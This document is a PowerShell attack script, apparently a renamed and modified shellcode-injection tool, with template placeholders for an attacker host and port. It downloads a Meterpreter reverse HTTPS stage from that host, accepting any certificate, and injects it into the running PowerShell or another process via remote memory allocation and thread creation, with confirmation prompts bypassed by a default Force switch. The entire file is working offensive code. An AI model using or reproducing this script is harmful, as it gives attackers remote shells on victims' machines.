515 lines
22 KiB
Plaintext
515 lines
22 KiB
Plaintext
function Invoke-ps
|
|
{
|
|
|
|
[CmdletBinding( DefaultParameterSetName = 'Metasploit', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param (
|
|
[ValidateNotNullOrEmpty()]
|
|
[UInt16]
|
|
$ProcessID,
|
|
|
|
[Parameter( ParameterSetName = 'Metasploit' )]
|
|
|
|
$Payload = 'windows/meterpreter/reverse_https',
|
|
[String]
|
|
$Lhost = '___LHOST___',
|
|
$UserAgent = 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)',
|
|
[Int]
|
|
$Lport = ___LPORT___,
|
|
|
|
[Switch]
|
|
$Force = $True
|
|
|
|
)
|
|
|
|
Set-StrictMode -Version 2.0
|
|
|
|
function Local:Get-DelegateType
|
|
{
|
|
Param
|
|
(
|
|
[OutputType([Type])]
|
|
|
|
[Parameter( Position = 0)]
|
|
[Type[]]
|
|
$Parameters = (New-Object Type[](0)),
|
|
|
|
[Parameter( Position = 1 )]
|
|
[Type]
|
|
$ReturnType = [Void]
|
|
)
|
|
|
|
$Domain = [AppDomain]::CurrentDomain
|
|
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
|
|
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
|
|
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
|
|
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
|
|
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
|
|
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
|
|
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
|
|
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
|
|
|
|
Write-Output $TypeBuilder.CreateType()
|
|
}
|
|
|
|
function Local:Get-ProcAddress
|
|
{
|
|
Param
|
|
(
|
|
[OutputType([IntPtr])]
|
|
|
|
[Parameter( Position = 0, Mandatory = $True )]
|
|
[String]
|
|
$Module,
|
|
|
|
[Parameter( Position = 1, Mandatory = $True )]
|
|
[String]
|
|
$Procedure
|
|
)
|
|
|
|
# Get a reference to System.dll in the GAC
|
|
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
|
|
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
|
|
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
|
|
# Get a reference to the GetModuleHandle and GetProcAddress methods
|
|
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
|
|
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
|
|
# Get a handle to the module specified
|
|
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
|
|
$tmpPtr = New-Object IntPtr
|
|
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
|
|
|
|
# Return the address of the function
|
|
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
|
|
}
|
|
|
|
# Emits a shellcode stub that when injected will create a thread and pass execution to the main shellcode payload
|
|
function Local:Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture)
|
|
{
|
|
$IntSizePtr = $Architecture / 8
|
|
|
|
function Local:ConvertTo-LittleEndian ([IntPtr] $Address)
|
|
{
|
|
$LittleEndianByteArray = New-Object Byte[](0)
|
|
$Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } }
|
|
[System.Array]::Reverse($LittleEndianByteArray)
|
|
|
|
Write-Output $LittleEndianByteArray
|
|
}
|
|
|
|
$CallStub = New-Object Byte[](0)
|
|
|
|
if ($IntSizePtr -eq 8)
|
|
{
|
|
[Byte[]] $CallStub = 0x48,0xB8 # MOV QWORD RAX, &shellcode
|
|
$CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
|
|
$CallStub += 0xFF,0xD0 # CALL RAX
|
|
$CallStub += 0x6A,0x00 # PUSH BYTE 0
|
|
$CallStub += 0x48,0xB8 # MOV QWORD RAX, &ExitThread
|
|
$CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
|
|
$CallStub += 0xFF,0xD0 # CALL RAX
|
|
}
|
|
else
|
|
{
|
|
[Byte[]] $CallStub = 0xB8 # MOV DWORD EAX, &shellcode
|
|
$CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
|
|
$CallStub += 0xFF,0xD0 # CALL EAX
|
|
$CallStub += 0x6A,0x00 # PUSH BYTE 0
|
|
$CallStub += 0xB8 # MOV DWORD EAX, &ExitThread
|
|
$CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
|
|
$CallStub += 0xFF,0xD0 # CALL EAX
|
|
}
|
|
|
|
Write-Output $CallStub
|
|
}
|
|
|
|
function Local:Inject-RemoteShellcode ([Int] $ProcessID)
|
|
{
|
|
# Open a handle to the process you want to inject into
|
|
$hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)
|
|
|
|
if (!$hProcess)
|
|
{
|
|
Throw "Unable to open a process handle for PID: $ProcessID"
|
|
}
|
|
|
|
$IsWow64 = $false
|
|
|
|
if ($64bitCPU) # Only perform theses checks if CPU is 64-bit
|
|
{
|
|
# Determine is the process specified is 32 or 64 bit
|
|
$IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null
|
|
|
|
if ((!$IsWow64) -and $PowerShell32bit)
|
|
{
|
|
Throw 'Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.'
|
|
}
|
|
elseif ($IsWow64) # 32-bit Wow64 process
|
|
{
|
|
if ($Shellcode32.Length -eq 0)
|
|
{
|
|
Throw 'No shellcode was placed in the $Shellcode32 variable!'
|
|
}
|
|
|
|
$Shellcode = $Shellcode32
|
|
Write-Verbose 'Injecting into a Wow64 process.'
|
|
Write-Verbose 'Using 32-bit shellcode.'
|
|
}
|
|
else # 64-bit process
|
|
{
|
|
if ($Shellcode64.Length -eq 0)
|
|
{
|
|
Throw 'No shellcode was placed in the $Shellcode64 variable!'
|
|
}
|
|
|
|
$Shellcode = $Shellcode64
|
|
Write-Verbose 'Using 64-bit shellcode.'
|
|
}
|
|
}
|
|
else # 32-bit CPU
|
|
{
|
|
if ($Shellcode32.Length -eq 0)
|
|
{
|
|
Throw 'No shellcode was placed in the $Shellcode32 variable!'
|
|
}
|
|
|
|
$Shellcode = $Shellcode32
|
|
Write-Verbose 'Using 32-bit shellcode.'
|
|
}
|
|
|
|
# Reserve and commit enough memory in remote process to hold the shellcode
|
|
$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
|
|
|
|
if (!$RemoteMemAddr)
|
|
{
|
|
Throw "Unable to allocate shellcode memory in PID: $ProcessID"
|
|
}
|
|
|
|
Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"
|
|
|
|
# Copy shellcode into the previously allocated memory
|
|
$WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $Shellcode, $Shellcode.Length, [Ref] 0) | Out-Null
|
|
|
|
# Get address of ExitThread function
|
|
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
|
|
|
|
if ($IsWow64)
|
|
{
|
|
# Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread.
|
|
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32
|
|
|
|
Write-Verbose 'Emitting 32-bit assembly call stub.'
|
|
}
|
|
else
|
|
{
|
|
# Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread.
|
|
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64
|
|
|
|
Write-Verbose 'Emitting 64-bit assembly call stub.'
|
|
}
|
|
|
|
# Allocate inline assembly stub
|
|
$RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX)
|
|
|
|
if (!$RemoteStubAddr)
|
|
{
|
|
Throw "Unable to allocate thread call stub memory in PID: $ProcessID"
|
|
}
|
|
|
|
Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))"
|
|
|
|
# Write 32-bit assembly stub to remote process memory space
|
|
$WriteProcessMemory.Invoke($hProcess, $RemoteStubAddr, $CallStub, $CallStub.Length, [Ref] 0) | Out-Null
|
|
|
|
# Execute shellcode as a remote thread
|
|
$ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)
|
|
|
|
if (!$ThreadHandle)
|
|
{
|
|
Throw "Unable to launch remote thread in PID: $ProcessID"
|
|
}
|
|
|
|
# Close process handle
|
|
$CloseHandle.Invoke($hProcess) | Out-Null
|
|
|
|
Write-Verbose 'Shellcode injection complete!'
|
|
}
|
|
|
|
function Local:Inject-LocalShellcode
|
|
{
|
|
if ($PowerShell32bit) {
|
|
if ($Shellcode32.Length -eq 0)
|
|
{
|
|
Throw 'No shellcode was placed in the $Shellcode32 variable!'
|
|
return
|
|
}
|
|
|
|
$Shellcode = $Shellcode32
|
|
Write-Verbose 'Using 32-bit shellcode.'
|
|
}
|
|
else
|
|
{
|
|
if ($Shellcode64.Length -eq 0)
|
|
{
|
|
Throw 'No shellcode was placed in the $Shellcode64 variable!'
|
|
return
|
|
}
|
|
|
|
$Shellcode = $Shellcode64
|
|
Write-Verbose 'Using 64-bit shellcode.'
|
|
}
|
|
|
|
# Allocate RWX memory for the shellcode
|
|
$BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
|
|
if (!$BaseAddress)
|
|
{
|
|
Throw "Unable to allocate shellcode memory in PID: $ProcessID"
|
|
}
|
|
|
|
Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))"
|
|
|
|
# Copy shellcode to RWX buffer
|
|
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length)
|
|
|
|
# Get address of ExitThread function
|
|
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
|
|
|
|
if ($PowerShell32bit)
|
|
{
|
|
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32
|
|
|
|
Write-Verbose 'Emitting 32-bit assembly call stub.'
|
|
}
|
|
else
|
|
{
|
|
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64
|
|
|
|
Write-Verbose 'Emitting 64-bit assembly call stub.'
|
|
}
|
|
|
|
# Allocate RWX memory for the thread call stub
|
|
$CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
|
|
if (!$CallStubAddress)
|
|
{
|
|
Throw "Unable to allocate thread call stub."
|
|
}
|
|
|
|
Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))"
|
|
|
|
# Copy call stub to RWX buffer
|
|
[System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length)
|
|
|
|
# Launch shellcode in it's own thread
|
|
$ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero)
|
|
if (!$ThreadHandle)
|
|
{
|
|
Throw "Unable to launch thread."
|
|
}
|
|
|
|
# Wait for shellcode thread to terminate
|
|
$WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null
|
|
|
|
$VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
|
|
$VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
|
|
|
|
Write-Verbose 'Shellcode injection complete!'
|
|
}
|
|
|
|
# A valid pointer to IsWow64Process will be returned if CPU is 64-bit
|
|
$IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
|
|
if ($IsWow64ProcessAddr)
|
|
{
|
|
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
|
|
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
|
|
|
|
$64bitCPU = $true
|
|
}
|
|
else
|
|
{
|
|
$64bitCPU = $false
|
|
}
|
|
|
|
if ([IntPtr]::Size -eq 4)
|
|
{
|
|
$PowerShell32bit = $true
|
|
}
|
|
else
|
|
{
|
|
$PowerShell32bit = $false
|
|
}
|
|
|
|
if ($PsCmdlet.ParameterSetName -eq 'Metasploit')
|
|
{
|
|
if (!$PowerShell32bit) {
|
|
# The currently supported Metasploit payloads are 32-bit. This block of code implements the logic to execute this script from 32-bit PowerShell
|
|
# Get this script's contents and pass it to 32-bit powershell with the same parameters passed to this function
|
|
|
|
# Pull out just the content of the this script's invocation.
|
|
$RootInvocation = $MyInvocation.Line
|
|
|
|
$Response = $True
|
|
|
|
if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you want to launch the payload from x86 Powershell?",
|
|
"Attempt to execute 32-bit shellcode from 64-bit Powershell. Note: This process takes about one minute. Be patient! You will also see some artifacts of the script loading in the other process." ) ) ) { }
|
|
|
|
if ( !$Response )
|
|
{
|
|
# User opted not to launch the 32-bit payload from 32-bit PowerShell. Exit function
|
|
Return
|
|
}
|
|
|
|
# Since the shellcode will run in a noninteractive instance of PowerShell, make sure the -Force switch is included so that there is no warning prompt.
|
|
if ($MyInvocation.BoundParameters['Force'])
|
|
{
|
|
Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation"
|
|
$Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation)`n`n"
|
|
}
|
|
else
|
|
{
|
|
Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation -Force"
|
|
$Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation) -Force`n`n"
|
|
}
|
|
|
|
$CommandBytes = [System.Text.Encoding]::Ascii.GetBytes($Command)
|
|
$EncodedCommand = [Convert]::ToBase64String($CommandBytes)
|
|
|
|
$Execute = '$Command' + " | $Env:windir\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Command -"
|
|
Invoke-Expression -Command $Execute | Out-Null
|
|
|
|
# Exit the script since the shellcode will be running from x86 PowerShell
|
|
Return
|
|
}
|
|
|
|
$Response = $True
|
|
|
|
if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you know what you're doing?",
|
|
"About to download Metasploit payload '$($Payload)' LHOST=$($Lhost), LPORT=$($Lport)" ) ) ) { }
|
|
|
|
if ( !$Response )
|
|
{
|
|
# User opted not to carry out download of Metasploit payload. Exit function
|
|
Return
|
|
}
|
|
|
|
switch ($Payload)
|
|
{
|
|
'windows/meterpreter/reverse_http'
|
|
{
|
|
$SSL = ''
|
|
}
|
|
|
|
'windows/meterpreter/reverse_https'
|
|
{
|
|
$SSL = 's'
|
|
# Accept invalid certificates
|
|
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
|
|
}
|
|
}
|
|
|
|
# Meterpreter expects 'INITM' in the URI in order to initiate stage 0. Awesome authentication, huh?
|
|
# # $Request = "http$($SSL)://$($Lhost):$($Lport)/INITM"
|
|
# # Write-Verbose "Requesting meterpreter payload from $Request"
|
|
$chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".ToCharArray()
|
|
$x = ""
|
|
function sum($v){
|
|
return (([int[]] $v.ToCharArray() | Measure-Object -Sum).Sum % 0x100 -eq 92)
|
|
}
|
|
|
|
function RandomChars{
|
|
$f = "";1..3 | foreach-object {$f+= $chars[(Get-Random -maximum $chars.Length)]};
|
|
return $f;
|
|
}
|
|
|
|
function RandomArray { process {[array]$x = $x + $_}; end {$x | sort-object {(new-object Random).next()}}}
|
|
|
|
function Generate{
|
|
for ($i=0; $i -lt 64; $i++){
|
|
$h = RandomChars;$k = $d | RandomArray;
|
|
foreach ($l in $k){
|
|
$s = $h + $l; if (sum($s)){
|
|
return $s}
|
|
}
|
|
return "9vXU";
|
|
}
|
|
}
|
|
|
|
|
|
$GeneratedURI = Generate;
|
|
$Request = "http$($SSL)://$($Lhost):$($Lport)/$GeneratedURI"
|
|
Write-Verbose "Requesting meterpreter payload from $Request"
|
|
|
|
$Uri = New-Object Uri($Request)
|
|
$WebClient = New-Object System.Net.WebClient
|
|
$WebClient.Headers.Add('user-agent', "$UserAgent")
|
|
|
|
try
|
|
{
|
|
[Byte[]] $Shellcode32 = $WebClient.DownloadData($Uri)
|
|
}
|
|
catch
|
|
{
|
|
Throw "$($Error[0].Exception.InnerException.InnerException.Message)"
|
|
}
|
|
[Byte[]] $Shellcode64 = $Shellcode32
|
|
|
|
}
|
|
elseif ($PSBoundParameters['Shellcode'])
|
|
{
|
|
# Users passing in shellcode through the '-Shellcode' parameter are responsible for ensuring it targets
|
|
# the correct architechture - x86 vs. x64. This script has no way to validate what you provide it.
|
|
[Byte[]] $Shellcode32 = $Shellcode
|
|
[Byte[]] $Shellcode64 = $Shellcode32
|
|
}
|
|
|
|
if ( $PSBoundParameters['ProcessID'] )
|
|
{
|
|
# Inject shellcode into the specified process ID
|
|
$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
|
|
$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
|
|
$OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
|
|
$VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
|
|
$VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr])
|
|
$VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
|
|
$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
|
|
$WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])
|
|
$WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
|
|
$CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
|
|
$CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
|
|
$CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
|
|
$CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
|
|
$CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
|
|
$CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
|
|
|
|
Write-Verbose "Injecting shellcode into PID: $ProcessId"
|
|
|
|
if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
|
|
"Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) )
|
|
{
|
|
Inject-RemoteShellcode $ProcessId
|
|
}
|
|
}
|
|
else
|
|
{
|
|
# Inject shellcode into the currently running PowerShell process
|
|
$VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
|
|
$VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
|
|
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
|
|
$VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
|
|
$VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool])
|
|
$VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
|
|
$CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread
|
|
$CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
|
|
$CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
|
|
$WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
|
|
$WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int])
|
|
$WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
|
|
|
|
Write-Verbose "Injecting shellcode into PowerShell"
|
|
|
|
if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
|
|
"Injecting shellcode into the running PowerShell process!" ) )
|
|
{
|
|
Inject-LocalShellcode
|
|
}
|
|
}
|
|
|
|
}
|